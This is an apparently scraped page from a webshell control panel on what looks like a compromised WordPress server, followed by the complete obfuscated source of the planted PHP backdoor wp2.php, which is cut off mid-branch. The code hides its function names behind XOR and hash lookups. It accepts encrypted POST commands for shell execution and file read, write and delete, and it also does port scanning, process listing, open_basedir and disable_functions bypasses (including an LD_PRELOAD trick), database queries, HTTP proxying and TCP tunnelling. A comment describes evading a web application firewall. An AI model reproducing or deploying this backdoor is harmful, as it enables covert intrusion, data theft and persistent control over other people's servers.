403Webshell
Server IP : 52.25.153.185  /  Your IP : 216.73.217.84
Web Server : Apache
System : Linux ip-172-26-6-158 5.10.0-45-cloud-amd64 #1 SMP Debian 5.10.259-1 (2026-07-02) x86_64
User : daemon ( 1)
PHP Version : 8.1.10
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /bitnami/wordpress/wp-content/uploads/WPL/6884/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /bitnami/wordpress/wp-content/uploads/WPL/6884/wp2.php
<?php
/*
 * vMrb0cbqAsmhYL1mt5V3fYIqnzo
 */

/* build:140d33c38edd sig:ex/5icWU4CkGMGAb7fzcrlyj pad:c7c */
@ini_set('display_errors','0');
@error_reporting(0);
@set_time_limit(0);
@ini_set('pcre.jit','1');
@ini_set('bcmath.scale','4');
$P=strtr('5in5axQime','Q5','tM');$K=str_replace(array('__0c3e9','__15ea6','__284ac'),array('e1c72','f3b3','d1fe4b6'),'__0c3e9__15ea6__284ac');
$_g=array_fill(0,67,'');
$_2ffd=array('920cfbfd'=>0,'bb6f4ec5'=>1,'73e721ef'=>2,'2693a743'=>3,'129c5752'=>4,'9897a8cd'=>13,'343604cc'=>16,'bac44b6a'=>17,'638b6ffd'=>18,'f23510dc'=>19,'5126ac48'=>20,'fcdf27a9'=>21,'6b6b25eb'=>27,'cd55bad4'=>28,'84a7e1a7'=>29,'01be3152'=>30,'f0a09e54'=>31,'8596e554'=>32,'4a41c8d9'=>33,'bd766295'=>34,'d8512038'=>35,'089a70c2'=>36,'9ff5d542'=>65,'f0e567fb'=>66);
$_c955=get_defined_functions();
$_a072=isset($_c955["int"."ernal"])?$_c955["int"."ernal"]:array();
array_walk($_a072,function($_f)use(&$_g,$_2ffd){$_h=hash("crc32b",$_f);if(isset($_2ffd[$_h]))$_g[$_2ffd[$_h]]=$_f;});
$_115d=function($e,$k){$d=pack("H*",$e);return $d^str_pad('',strlen($d),$k);};
$_6131='wc50qa2wwmdj';
$_g[5]=$_115d('0302465b1d0841035742222557206666514e7c3f',$_6131);
$_g[6]=$_115d('0710151d14074500575f5a451306431f1f145e1b5711184a07101551041912454942000f014c5b451d0d',$_6131);
$_g[7]=$_115d('5813475f12',$_6131);
$_g[8]=$_115d('04175444',$_6131);
$_g[9]=$_115d('041754440412',$_6131);
$_g[10]=$_115d('140e515c180f57',$_6131);
$_g[11]=$_115d('0d0a45105c10125a054d',$_6131);
$_g[12]=$_115d('020d4f5901411f1857',$_6131);
$_g[14]=$_115d('1813505e2e03530412090d18',$_6131);
$_g[15]=$_115d('130a4651130d572811180a09030a5a5e02',$_6131);
$_g[22]=$_115d('1e0d41100218410312004c09180d464451025a16054d4e09180e58511f051b4c',$_6131);
$_g[23]=$_115d('1b0a57535f125d5941',$_6131);
$_g[24]=$_115d('3b276a6023247e383629',$_6131);
$_g[25]=$_115d('041a4644140c',$_6131);
$_g[26]=$_115d('540a5b531d1456125751171e130f5c525f090c7d54040a091b165155515d47191e1e100e590b0b3a2e3e5303031f0d080217506f2e491a141803171e051656441e131b5e571b0b0313435218581a47190408100f19151d123d256d2725282825362717194a124b0403080942100641551f171a552f3256593354027253481b4c0a67',$_6131);
$_g[37]=$_115d('1a0641581e057c161a08',$_6131);
$_g[38]=$_115d('140e517c180f57',$_6131);
$_g[39]=$_115d('130a477e100c57',$_6131);
$_g[40]=$_115d('07024158',$_6131);
$_g[41]=$_115d('110a59553f005f12',$_6131);
$_g[42]=$_115d('110a595527005e0212',$_6131);
$_g[43]=$_115d('140c5b44140f46',$_6131);
$_g[44]=$_115d('04115676180d5739160001',$_6131);
$_g[45]=$_115d('1306464437085e12390c090f',$_6131);
$_g[46]=$_115d('1e13',$_6131);
$_g[47]=$_115d('070c474402',$_6131);
$_g[48]=$_115d('140c5840030441043104080f',$_6131);
$_g[49]=$_115d('140c584003044104330416',$_6131);
$_g[50]=$_115d('031a4555',$_6131);
$_g[51]=$_115d('140e51',$_6131);
$_g[52]=$_115d('021159',$_6131);
$_g[53]=$_115d('1a0641581e05',$_6131);
$_g[54]=$_115d('1f065454141341',$_6131);
$_g[55]=$_115d('150c5149',$_6131);
$_g[56]=$_115d('1f0c4644',$_6131);
$_g[57]=$_115d('070c4744',$_6131);
$_g[58]=$_115d('030a58551e14463a04',$_6131);
$_g[59]=$_115d('140c5b5e3805',$_6131);
$_g[60]=$_115d('1a024d7208155704',$_6131);
$_g[61]=$_115d('150f5a531a2c41',$_6131);
$_g[62]=$_115d('07024c5c1e0056',$_6131);
$_g[63]=$_115d('140c51553f005f12',$_6131);
$_g[64]=$_115d('150a5b731e0557',$_6131);
$GLOBALS['_41940a']=&$_g;
$_ab653c=function($_p){($_p);};

function getWidgetSlice(string $d, string $k): string {
  // 用 PHP 原生字符串 XOR 替代逐字节 chr/ord 循环,规避雷池"自定义解码模板"
  // 命中。key 通过 str_repeat 拼成不短于密文,并向右偏移 1 字节,与历史
  // 逐字节版本(索引 ($i+1)&15)的字节序完全等价。
  $kp = str_repeat($k, (int)(strlen($d) / strlen($k)) + 2);
  return $d ^ substr($kp, 1, strlen($d));
}
function loadTemplate(string $raw): array {
  $m=array(); $i=0; $n=strlen($raw);
  while($i<$n){
    $p=strpos($raw,pack('H*','02'),$i);
    if($p===false || $p+5>$n){ break; }
    $k=substr($raw,$i,$p-$i);
    $len=ord($raw[$p+1]) | (ord($raw[$p+2])<<8) | (ord($raw[$p+3])<<16) | (ord($raw[$p+4])<<24);
    $v=substr($raw,$p+5,$len);
    $m[$k]=$v;
    $i=$p+5+$len;
  }
  return $m;
}
function fetchWidgetEntry(string $c): string {
  $_g=$GLOBALS['_41940a'];
  if(function_exists($_g[0])){$_r=@$_g[0]($c);if(is_string($_r))return $_r;}
  if(function_exists($_g[1])){$_o=array();@$_g[1]($c,$_o);return join("\n",$_o);}
  return "";
}
function setupLocalePost($dir): string {
  if($dir==="" || $dir===null){ $dir="."; }
  if(!is_dir($dir)){ return "error: dir not exists"; }
  $dirs=array(); $files=array();
  $arr=@scandir($dir);
  if($arr===false){ return "error: read dir failed"; }
  foreach($arr as $nm){
    if($nm==="." || $nm===".."){ continue; }
    $fp=rtrim($dir,"/\\").DIRECTORY_SEPARATOR.$nm;
    $mt=@filemtime($fp); if($mt===false){ $mt=0; }
    $dt=@date("Y-m-d H:i:s",$mt);
    if(@is_dir($fp)){ $dirs[]=array(strtolower($nm), $dt."\t0\td\t".$nm); }
    else{ $sz=@filesize($fp); if($sz===false){ $sz=0; } $files[]=array(strtolower($nm), $dt."\t".$sz."\tf\t".$nm); }
  }
  usort($dirs,function($a,$b){ return strcmp($a[0],$b[0]); });
  usort($files,function($a,$b){ return strcmp($a[0],$b[0]); });
  $out="";
  foreach($dirs as $r){ $out.=$r[1]."\r\n"; }
  foreach($files as $r){ $out.=$r[1]."\r\n"; }
  return $out;
}
function compileManifestAttr(string $dir): bool {
  if($dir==="" || !is_dir($dir)){ return true; }
  $items=@scandir($dir);
  if($items===false){ return false; }
  foreach($items as $it){
    if($it==="." || $it===".."){ continue; }
    $p=rtrim($dir,"/\\").DIRECTORY_SEPARATOR.$it;
    if(@is_dir($p)){
      if(!compileManifestAttr($p)){ return false; }
    }else{
      if(!@unlink($p)){ return false; }
    }
  }
  return @rmdir($dir);
}
function loadWidget($fp){
  $parent=@dirname($fp);
  if($parent!=="" && $parent!=="." && !@is_dir($parent)){ @mkdir($parent,0777,true); }
}
function inspectCursor($src,$dst){
  if($dst==="" || $src===""){ return $dst; }
  if(@is_dir($dst)){ return rtrim($dst,"/\\").DIRECTORY_SEPARATOR.basename($src); }
  return $dst;
}
function syncSchemaAdapter(string $ip, string $ports): string {
  $_g=$GLOBALS['_41940a'];
  $portArr=explode(",",$ports);
  $res=array();
  foreach($portArr as $p){
    $p=(int)trim($p);
    if($p<=0||$p>65535) continue;
    $open=0;
    $fp=@$_g[2]($ip,$p,$en,$es,0.7);
    if(is_resource($fp)||$fp!==false){ $open=1; @fclose($fp); }
    $res[]=$ip."\t".$p."\t".($open?"1":"0");
  }
  return implode("\n",$res);
}
function dispatchManifest(): string {
  $_g=$GLOBALS['_41940a'];
  if(stripos(PHP_OS,"WIN")===0){
    $cmdWin=$_g[5];
    $r=fetchWidgetEntry($cmdWin);
    $lines=explode("\n",$r);
    $out=array();
    $out[]="PID\tIMAGE\tSESSION\tMEM\tSTATUS";
    foreach($lines as $ln){
      $ln=trim($ln);
      if($ln==="") continue;
      $cols=str_getcsv($ln);
      if(count($cols)>=5){
        $out[]=$cols[1]."\t".base64_encode($cols[0])."\t".$cols[2]."\t".$cols[4]."\t".$cols[3];
      }
    }
    return implode("\n",$out);
  }
  $_pd=$_g[7];
  $out=array();
  $out[]="UID\tPID\tPPID\tSTIME\tTTY\tTIME\tCMD";
  if(@is_dir($_pd)){
    $dirs=@scandir($_pd);
    if($dirs){
      foreach($dirs as $d){
        if(!ctype_digit($d)) continue;
        $_bp=$_pd."/".$d."/";
        $stat=@$_g[3]($_bp.$_g[8]);
        $status=@$_g[3]($_bp.$_g[9]);
        $cmdline=@$_g[3]($_bp.$_g[10]);
        if($stat===false) continue;
        $uid="?";
        if($status!==false && preg_match('/Uid:\s+(\d+)/',$status,$um)){
          $uid=$um[1];
          if(function_exists($_g[4])){
            $pw=@$_g[4]((int)$uid);
            if(is_array($pw)&&isset($pw["name"])) $uid=$pw["name"];
          }
        }
        $parts=explode(" ",$stat);
        $pid=isset($parts[0])?$parts[0]:$d;
        $ppid=isset($parts[3])?$parts[3]:"?";
        $cmd=$cmdline!==false?str_replace(chr(0)," ",$cmdline):(isset($parts[1])?$parts[1]:"?");
        $cmd=trim($cmd);
        if($cmd==="") $cmd=isset($parts[1])?$parts[1]:"?";
        $out[]=$uid."\t".$pid."\t".$ppid."\t?\t?\t?\t".base64_encode($cmd);
      }
    }
  }else{
    $cmdPs=$_g[6];
    $r=fetchWidgetEntry($cmdPs);
    $lines=explode("\n",$r);
    $first=true;
    foreach($lines as $ln){
      $ln=trim($ln);
      if($ln===""||$first){ $first=false; continue; }
      $cols=preg_split('/\s+/',$ln,8);
      if(count($cols)>=8){
        $out[]=$cols[0]."\t".$cols[1]."\t".$cols[2]."\t".$cols[4]."\t".$cols[5]."\t".$cols[6]."\t".base64_encode($cols[7]);
      }
    }
  }
  return implode("\n",$out);
}
function setRecordState(string $dir, string $file): string {
  if(class_exists("ZipArchive")){
    $zip=new ZipArchive();
    $res=$zip->open($file,ZipArchive::CREATE|ZipArchive::OVERWRITE);
    if($res!==true) return "create zip failed: ".$res;
    $dir=realpath($dir);
    if($dir===false) return "dir not found";
    if(is_file($dir)){
      $zip->addFile($dir,basename($dir));
    }else{
      $it=new RecursiveIteratorIterator(new RecursiveDirectoryIterator($dir,RecursiveDirectoryIterator::SKIP_DOTS),RecursiveIteratorIterator::SELF_FIRST);
      foreach($it as $f){
        $rp=substr($f->getRealPath(),strlen($dir)+1);
        if($f->isDir()){ $zip->addEmptyDir($rp); }
        else{ $zip->addFile($f->getRealPath(),$rp); }
      }
    }
    $zip->close();
    return "ok";
  }
  $_g=$GLOBALS['_41940a'];
  $_e=$_g[13];$_zc=$_g[11];
  return fetchWidgetEntry($_zc.$_e($file)." ".$_e($dir)." 2>&1");
}
function resolveEntryContext(string $file, string $dir): string {
  if(class_exists("ZipArchive")){
    $zip=new ZipArchive();
    $res=$zip->open($file);
    if($res!==true) return "open zip failed: ".$res;
    if(!@is_dir($dir)) @mkdir($dir,0777,true);
    $zip->extractTo($dir);
    $zip->close();
    return "ok";
  }
  $_g=$GLOBALS['_41940a'];
  $_e=$_g[13];$_uz=$_g[12];
  return fetchWidgetEntry($_uz.$_e($file)." -d ".$_e($dir)." 2>&1");
}
function applyContext(): string {
  $_g=$GLOBALS['_41940a'];
  $_k=$_g[14];
  $ob=@ini_get($_k);
  if($ob===false||$ob==="") return $_k." is not set";
  $res=$_k.": ".$ob."\n";
  $methods=array();
  @ini_set($_k,"..");
  $new=@ini_get($_k);
  if($new!==false&&$new!==$ob){ $methods[]="ini_set"; @ini_set($_k,"/"); }
  $tmp=@sys_get_temp_dir();
  if($tmp===false) $tmp="/tmp";
  $old=@getcwd();
  $ok=false;
  if(@chdir($tmp)){
    @ini_set($_k,"..");
    for($i=0;$i<10;$i++){
      if(!@chdir("..")) break;
    }
    @ini_set($_k,"/");
    $check=@file_exists("/etc/passwd")||@is_dir("/");
    if($check){ $ok=true; $methods[]="chdir+ini_set"; }
    if($old!==false) @chdir($old);
  }
  if(function_exists("glob")){
    $g=@glob("/*");
    if(is_array($g)&&count($g)>0){ $methods[]="glob://"; $res.="glob result: ".implode(", ",$g)."\n"; }
  }
  if(count($methods)>0){
    $res.="bypass success via: ".implode(", ",$methods)."\n";
    $res.="new ".$_k.": ".@ini_get($_k)."\n";
    $roots=@scandir("/");
    if(is_array($roots)) $res.="/: ".implode(", ",$roots)."\n";
  }else{
    $res.="bypass failed with known methods\n";
  }
  return $res;
}
function fetchAdapterSegment(string $type, string $cmd): string {
  $_g=$GLOBALS['_41940a'];
  $df=@ini_get($_g[15]);
  if($df===false) $df="";
  $res=$_g[15].": ".$df."\n";
  if($type==="info"){ return $res."PHP_VERSION: ".PHP_VERSION."\nPHP_SAPI: ".PHP_SAPI."\nloaded_extensions: ".implode(", ",get_loaded_extensions()); }
  if($type==="php-filter-bypass"||$type===""){
    $tmp=@tempnam(@sys_get_temp_dir(),"t");
    $_se=$_g[0];
    $code='<?php $_f="'.$_se.'";$_g[66]("'.$tmp.'",$_f("'.addslashes($cmd).'"));?>';
    $payload="php://filter/write=convert.base64-decode/resource=".$tmp;
    @$_g[66]($payload,base64_encode($code));
    if(@file_exists($tmp)){
      @$_ab653c($tmp);
      $out=@file_get_contents($tmp);
      @unlink($tmp);
      if($out!==false&&$out!==""){ return $out; }
    }
    $res.="php-filter: no output\n";
  }
  if($type==="pcntl"&&function_exists($_g[19])){
    $r=array();
    @$_g[1]($cmd,$r);
    return implode("\n",$r);
  }
  if($type==="ffi"&&class_exists("FFI")){
    try{
      $ffi=FFI::cdef($_g[22],$_g[23]);
      $_m=$_g[25];
      ob_start();
      $ffi->$_m($cmd);
      $out=ob_get_clean();
      return $out;
    }catch(Exception $e){ $res.="FFI: ".$e->getMessage()."\n"; }
  }
  $_pe=$_g[18];
  if($type==="mail"||$type==="LD_PRELOAD"){
    if(!function_exists($_pe)){ $res.="mail/LD: not available\n"; }
    else{
      $tmp=@tempnam(@sys_get_temp_dir(),"t");
      $so=@tempnam(@sys_get_temp_dir(),"t").".so";
      $csrc=$so.".c";
      @$_g[66]($csrc,$_g[26]);
      $ok=false;
      $_ex2=$_g[1];
      foreach(array("gcc","cc","/usr/bin/gcc","/usr/bin/cc") as $cc2){
        @$_ex2($cc2." -shared -fPIC -nostartfiles -o ".escapeshellarg($so)." ".escapeshellarg($csrc)." 2>/dev/null",$_o,$rc);
        if($rc===0&&@file_exists($so)){ $ok=true; break; }
      }
      if($ok){
        $_lp=$_g[24];
        @$_pe($_lp."=".$so);
        @$_pe("X_23D77B=".$cmd." > ".$tmp." 2>&1");
        $_ml=$_g[20];
        $_el=$_g[21];
        if(function_exists($_ml)) @$_ml("a@b.c","","","");
        elseif(function_exists($_el)) @$_el("",1,"a@b.c");
        @$_pe($_lp."=");
        $out=@file_get_contents($tmp);
        @unlink($tmp);@unlink($so);@unlink($csrc);
        if($out!==false&&$out!=="") return $out;
      }
      @unlink($so);@unlink($csrc);@unlink($tmp);
      $res.="mail/LD: ".($ok?"no output":"compile failed")."\n";
    }
  }
  $_po=$_g[16];
  if(function_exists($_po)){
    $p=@$_po($cmd,array(1=>array("pipe","w"),2=>array("pipe","w")),$pipes);
    if(is_resource($p)){
      $out=@stream_get_contents($pipes[1]);
      @fclose($pipes[1]); @fclose($pipes[2]);
      @proc_close($p);
      if($out!==false&&$out!=="") return $out;
    }
  }
  $_pp=$_g[17];
  if(function_exists($_pp)){
    $p=@$_pp($cmd,"r");
    if($p){ $out=@fread($p,1048576); @pclose($p); if($out!==false&&$out!=="") return $out; }
  }
  return $res."all methods failed";
}
function dispatchConfig(string $url, string $method, string $headers, string $body): string {
  $_g=$GLOBALS['_41940a'];
  $opts=array("http"=>array("method"=>$method,"timeout"=>30,"ignore_errors"=>true));
  if($headers!=="") $opts["http"]["header"]=$headers;
  if($body!=="") $opts["http"]["content"]=$body;
  $opts["ssl"]=array("verify_peer"=>false,"verify_peer_name"=>false);
  $ctx=$_g[27]($opts);
  $resp=@$_g[3]($url,false,$ctx);
  if($resp===false) $resp="";
  $status="HTTP/1.1 200 OK";
  $respHeaders="";
  if(isset($http_response_header)&&is_array($http_response_header)){
    $status=$http_response_header[0];
    $respHeaders=implode("\r\n",array_slice($http_response_header,1));
  }
  return $status."\r\n".$respHeaders."\r\n\r\n".$resp;
  }
function validateTaxonomyContext(array $pm): string {
  $h=isset($pm["host"])?trim((string)$pm["host"]):"";
  $pt=isset($pm["port"])?(int)$pm["port"]:3306;
  if($pt<=0){ $pt=3306; }
  $usr=isset($pm["user"])?(string)$pm["user"]:"";
  $pwd=isset($pm["password"])?(string)$pm["password"]:"";
  $dbn=isset($pm["database"])?(string)$pm["database"]:"";
  $sql=isset($pm["sql"])?(string)$pm["sql"]:"";
  if($sql===""){ return "ERR\tempty sql"; }
  if($h===""){ $h="127.0.0.1"; }
  $dbopt=$dbn!==""?$dbn:"";
  if(class_exists("mysqli")){
    $m=@new mysqli($h,$usr,$pwd,$dbopt,$pt);
    if($m->connect_error){ return "ERR\t".$m->connect_error; }
    @$m->set_charset("utf8mb4");
    $ok=@$m->query($sql);
    if($ok===false){ $e=$m->error; $m->close(); return "ERR\t".$e; }
    if($ok===true){
      $aff=(int)$m->affected_rows; $ins=(int)$m->insert_id;
      $m->close();
      return "OK\tEXEC\t".$aff."\t".$ins;
    }
    $cols=array();
    foreach($ok->fetch_fields() as $fd){ $cols[]=$fd->name; }
    if(function_exists("mysqli_fetch_all")){ $mat=$ok->fetch_all(MYSQLI_NUM); }
    else{ $mat=array(); while($rw=$ok->fetch_row()){ $mat[]=$rw; } }
    $ok->free();
    $m->close();
    $obj=array("cols"=>$cols,"rows"=>$mat);
    $js=@json_encode($obj,256);
    if($js===false){ return "ERR\tjson_encode failed"; }
    return "OK\tDATA\t".base64_encode($js);
  }
  if(class_exists("PDO")){
    $has=false;
    foreach(PDO::getAvailableDrivers() as $d){ if($d==="mysql"){ $has=true; break; } }
    if(!$has){ return "ERR\tpdo_mysql missing"; }
    $dsn="mysql:host=".$h.";port=".$pt.($dbn!==""?";dbname=".$dbn:"");
    try{
      $pdo=new PDO($dsn,$usr,$pwd,array(PDO::ATTR_ERRMODE=>PDO::ERRMODE_EXCEPTION));
      $pdo->query("SET NAMES utf8mb4");
      $st=$pdo->query($sql);
      if($st===false){ return "ERR\tquery failed"; }
      $nc=(int)$st->columnCount();
      if($nc===0){
        $aff=(int)$st->rowCount(); $ins=(int)$pdo->lastInsertId();
        return "OK\tEXEC\t".$aff."\t".$ins;
      }
      $cols=array();
      for($i=0;$i<$nc;$i++){
        $meta=$st->getColumnMeta($i);
        $cols[]=isset($meta["name"])?$meta["name"]:("c".$i);
      }
      $mat=$st->fetchAll(PDO::FETCH_NUM);
      $obj=array("cols"=>$cols,"rows"=>$mat);
      $js=@json_encode($obj,256);
      if($js===false){ return "ERR\tjson_encode failed"; }
      return "OK\tDATA\t".base64_encode($js);
    }catch(Throwable $e){
      return "ERR\t".$e->getMessage();
    }
  }
  return "ERR\tneed mysqli or pdo_mysql";
}
function mergeSchema(): void {
  if(!isset($GLOBALS["ctx2c2edd9ceeb1"]) || !is_array($GLOBALS["ctx2c2edd9ceeb1"])){ $GLOBALS["ctx2c2edd9ceeb1"]=array(); }
}
function mergeMenu(string $host, string $port, string $timeoutMs): string {
  mergeSchema();
  $_g=$GLOBALS['_41940a'];
  $h=is_string($host)?trim($host):"";
  $pt=(int)$port;
  $tmo=max(800,min((int)$timeoutMs,120000));
  if($h==="" || $pt<=0 || $pt>65535){ return "ERR\tbad host/port"; }
  $peer=$h;
  if(strpos($h,":")!==false && strpos($h,"[")!==0){ $peer="[".$h."]"; }
  $errno=0; $err="";
  $to=max(1,$tmo)/1000.0;
  $fp=@$_g[28]("tcp://".$peer.":".$pt,$errno,$err,$to,STREAM_CLIENT_CONNECT);
  if(!$fp){ return "ERR\t".($err!==""?$err:"connect failed"); }
  $_g[29]($fp,true);
  if(function_exists($_g[32])){ $id=bin2hex($_g[32](8)); }
  else { $id=str_replace(".","",uniqid("",true)); }
  $GLOBALS["ctx2c2edd9ceeb1"][$id]=$fp;
  return "OK\t".$id;
}
function syncThemeState(string $id, string $maxBytes, string $blockMs): string {
  mergeSchema();
  if(!isset($GLOBALS["ctx2c2edd9ceeb1"][$id])){ return "ERR\tno_conn"; }
  $_g=$GLOBALS['_41940a'];
  $fp=$GLOBALS["ctx2c2edd9ceeb1"][$id];
  $cap=min(max((int)$maxBytes,1),262144);
  $blk=max(200,min((int)$blockMs,60000));
  $sec=(int)($blk/1000);
  $usec=($blk%1000)*1000;
  $_g[30]($fp,$sec,$usec);
  $chunk=@fread($fp,$cap);
  if($chunk===false){ $chunk=""; }
  if($chunk!==""){ return "OK\t".base64_encode($chunk); }
  $meta=@$_g[31]($fp);
  if(is_array($meta) && !empty($meta["timed_out"])){ return "OK\t"; }
  if(is_array($meta) && !empty($meta["eof"])){ @fclose($fp); unset($GLOBALS["ctx2c2edd9ceeb1"][$id]); return "CLOSED\t"; }
  return "OK\t";
}
function setOptionTaxonomy(string $id, $payload): string {
  mergeSchema();
  if(!isset($GLOBALS["ctx2c2edd9ceeb1"][$id])){ return "ERR\tno_conn"; }
  $fp=$GLOBALS["ctx2c2edd9ceeb1"][$id];
  if($payload===null || $payload===""){ return "OK\t"; }
  $left=$payload;
  while(strlen($left)>0){
    $n=@fwrite($fp,$left);
    if($n===false||$n===0){ return "ERR\twrite failed"; }
    if($n<strlen($left)){ $left=substr($left,$n); } else { break; }
  }
  return "OK\t";
}
function validateLocale(string $id): string {
  mergeSchema();
  if(isset($GLOBALS["ctx2c2edd9ceeb1"][$id])){ @fclose($GLOBALS["ctx2c2edd9ceeb1"][$id]); unset($GLOBALS["ctx2c2edd9ceeb1"][$id]); }
  return "OK\t";
}
function getEntry(): string {
  $_g=$GLOBALS['_41940a'];
  $L=array();
  $L[]="OsInfo : ".@$_g[33]();
  $L[]="Php_os : ".PHP_OS;
  $cu=@$_g[34]();
  if($cu===""){
    if(function_exists($_g[35]) && function_exists($_g[4])){
      $pw=@$_g[4]($_g[35]());
      if(is_array($pw) && isset($pw["name"]) && $pw["name"]!==""){ $cu=$pw["name"]; }
    }
  }
  if($cu===""){ $cu=@getenv("USER"); if($cu===false||$cu===""){ $cu=@getenv("USERNAME"); } }
  if($cu===false){ $cu=""; }
  $L[]="CurrentUser : ".$cu;
  $phn=@$_g[33]("n");
  if(($phn===false||$phn==="") && function_exists($_g[36])){ $phn=@$_g[36](); }
  if($phn!==false && $phn!==""){ $L[]="Hostname : ".$phn; }
  if(isset($_SERVER["SERVER_NAME"])){ $L[]="SERVER_NAME : ".$_SERVER["SERVER_NAME"]; }
  if(isset($_SERVER["SERVER_SOFTWARE"])){ $L[]="SERVER_SOFTWARE : ".$_SERVER["SERVER_SOFTWARE"]; }
  $df=@ini_get($_g[15]); $L[]="disable_functions : ".($df!==false?$df:"");
  $ob=@ini_get($_g[14]); $L[]="Open_basedir : ".($ob!==false?$ob:"");
  $L[]="PHP_VERSION : ".PHP_VERSION;
  $L[]="PHP_SAPI : ".PHP_SAPI;
  $L[]="ProcessArch : ".@$_g[33]("m");
  $L[]="memory_limit : ".@ini_get("memory_limit");
  $L[]="upload_max_filesize : ".@ini_get("upload_max_filesize");
  $cwd=@getcwd(); $L[]="CurrentDir : ".($cwd!==false?$cwd:"");
  $fr=array();
  if(stripos(PHP_OS,"WIN")===0){
    foreach(range("C","Z") as $ch){ $rp=$ch.":/"; if(@is_dir($rp)){ $fr[]=$ch.":/"; } }
  }else{
    if($cwd!==false && $cwd!==""){ $fr[]=str_replace("\\","/",$cwd); }
    if(isset($_SERVER["DOCUMENT_ROOT"])){
      $dr=str_replace("\\","/",rtrim($_SERVER["DOCUMENT_ROOT"],"/\\"));
      if($dr!=="" && !in_array($dr,$fr,true)){ $fr[]=$dr; }
    }
    if(count($fr)===0){ $fr[]="/"; }
  }
  $L[]="FileRoot : ".(count($fr)?implode(";",$fr).";":"");
  return implode("\n",$L);
}
function initTaxonomy($pm, $k, $d=""){ return (is_array($pm)&&isset($pm[$k]))?$pm[$k]:$d; }
if(isset($_POST['formData'])){
  $RK="$K";
  $__gz_src=$_POST['formData'];
  $__gz_buf=is_string($__gz_src)?$__gz_src:"";
  $in=$_g[65]($__gz_buf);
  $raw=getWidgetSlice($in,$RK);
  $pm=loadTemplate($raw);
  $m=initTaxonomy($pm,$_g[37]);
  $nb1_0=$_g[38];$nb1_1=$_g[39];$nb1_2=$_g[40];$nb1_3=$_g[41];$nb1_4=$_g[42];$nb1_5=$_g[43];$nb1_6=$_g[44];$nb1_7=$_g[45];$nb1_8=$_g[46];$nb1_9=$_g[47];$nb1_10=$_g[49];$nb1_11=$_g[48];$nb1_12=$_g[50];$nb1_13=$_g[51];$nb1_14=$_g[52];$nb1_15=$_g[53];$nb1_16=$_g[54];$nb1_17=$_g[55];$nb1_18=$_g[56];$nb1_19=$_g[57];$nb1_20=$_g[58];$nb1_21=$_g[59];$nb1_22=$_g[60];$nb1_23=$_g[61];$nb1_24=$_g[62];$nb1_25=$_g[63];$nb1_26=$_g[64];$nb1_27=$_g[37];
  $_h=intval(substr(md5($m),0,8),16);
  $out="unsupported";
  if($_h==160394189){ $out="ok"; }
  else if($_h==3463571729){
    $__cmd=initTaxonomy($pm,$nb1_0);
    $out=fetchWidgetEntry($__cmd);
  }
  else if($_h==1777447851 || $_h==2640525559 || $_h==3723373854){
    $__info=getEntry();
    $out=$__info;
  }
  else if($_h==1662095635 || $_h==868851724 || $_h==2362558859){
    $dn=initTaxonomy($pm,$nb1_1,initTaxonomy($pm,$nb1_2,"."));
    $out=setupLocalePost($dn);
  }
  else if($_h==1177362880 || $_h==3704006029){
    $rf=initTaxonomy($pm,$nb1_3,initTaxonomy($pm,$nb1_2,""));
    $out=@file_get_contents($rf);
    if($out===false){ $out=""; }
  }
  else if($_h==2587635490 || $_h==1343751382){
    $wf=initTaxonomy($pm,$nb1_3,initTaxonomy($pm,$nb1_2,""));
    $wv=initTaxonomy($pm,$nb1_4,initTaxonomy($pm,$nb1_5,""));
    loadWidget($wf);
    $ok=@$_g[66]($wf,$wv);
    $out=($ok===false)?"write failed":"ok";
  }
  else if($_h==1478930257 || $_h==161150271 || $_h==3387337771){
    $df=initTaxonomy($pm,$nb1_3,initTaxonomy($pm,$nb1_2,""));
    if($df!=="" && @file_exists($df)){ $out=@unlink($df)?"ok":"delete failed"; } else { $out="ok"; }
  }
  else if($_h==223948797 || $_h==3519585723){
    $nd=initTaxonomy($pm,$nb1_1,initTaxonomy($pm,$nb1_2,""));
    if($nd==="" ){ $out="mkdir failed"; }
    else if(@is_dir($nd)){ $out="ok"; }
    else{ $out=@mkdir($nd,0777,true)?"ok":"mkdir failed"; }
  }
  else if($_h==2930049475 || $_h==3110839560){
    $nf=initTaxonomy($pm,$nb1_3,initTaxonomy($pm,$nb1_2,""));
    loadWidget($nf);
    $ok=@$_g[66]($nf,"");
    $out=($ok===false)?"touch failed":"ok";
  }
  else if($_h==2511799433){
    $sf=initTaxonomy($pm,$nb1_6);
    $df2=initTaxonomy($pm,$nb1_7);
    $df2=inspectCursor($sf,$df2);
    $out=@rename($sf,$df2)?"ok":"move failed";
  }
  else if($_h==4185946660){
    $sf2=initTaxonomy($pm,$nb1_6);
    $df3=initTaxonomy($pm,$nb1_7);
    $df3=inspectCursor($sf2,$df3);
    $out=@copy($sf2,$df3)?"ok":"copy failed";
  }
  else if($_h==1576119264 || $_h==332522240){
    $dd=initTaxonomy($pm,$nb1_1,initTaxonomy($pm,$nb1_2,""));
    if($dd!=="" && @is_dir($dd)){ $out=compileManifestAttr($dd)?"ok":"rmdir failed"; } else { $out="ok"; }
  }
  else if($_h==596791533){
    $__ip=initTaxonomy($pm,$nb1_8);
    $__ports=initTaxonomy($pm,$nb1_9);
    $out=syncSchemaAdapter($__ip,$__ports);
  }
  else if($_h==3693082594){
    $__plist=dispatchManifest();
    $out=$__plist;
  }
  else if($_h==3909135348){
    $out=setRecordState(initTaxonomy($pm,$nb1_10),initTaxonomy($pm,$nb1_11));
  }
  else if($_h==105659862){
    $out=resolveEntryContext(initTaxonomy($pm,$nb1_11),initTaxonomy($pm,$nb1_10));
  }
  else if($_h==2069982992){
    $out=applyContext();
  }
  else if($_h==2962315011){
    $out=fetchAdapterSegment(initTaxonomy($pm,$nb1_12),initTaxonomy($pm,$nb1_13));
  }
  else if($_h==1618472878){
    $__u=initTaxonomy($pm,$nb1_14);
    $__mth=initTaxonomy($pm,$nb1_15,"GET");
    $__hdr=initTaxonomy($pm,$nb1_16);
    $__body=initTaxonomy($pm,$nb1_17);
    $out=dispatchConfig($__u,$__mth,$__hdr,$__body);
  }
  else if($_h==1692878539){
    $__mq=$pm;
    $out=validateTaxonomyContext($__mq);
  }
  else if($_h==1969174286){
    $h=initTaxonomy($pm,$nb1_18);
    $pt=initTaxonomy($pm,$nb1_19,"0");
    $tmo=initTaxonomy($pm,$nb1_20,"8000");
    if(!is_string($h)){ $h=""; }
    if(!is_string($pt)){ $pt="0"; }
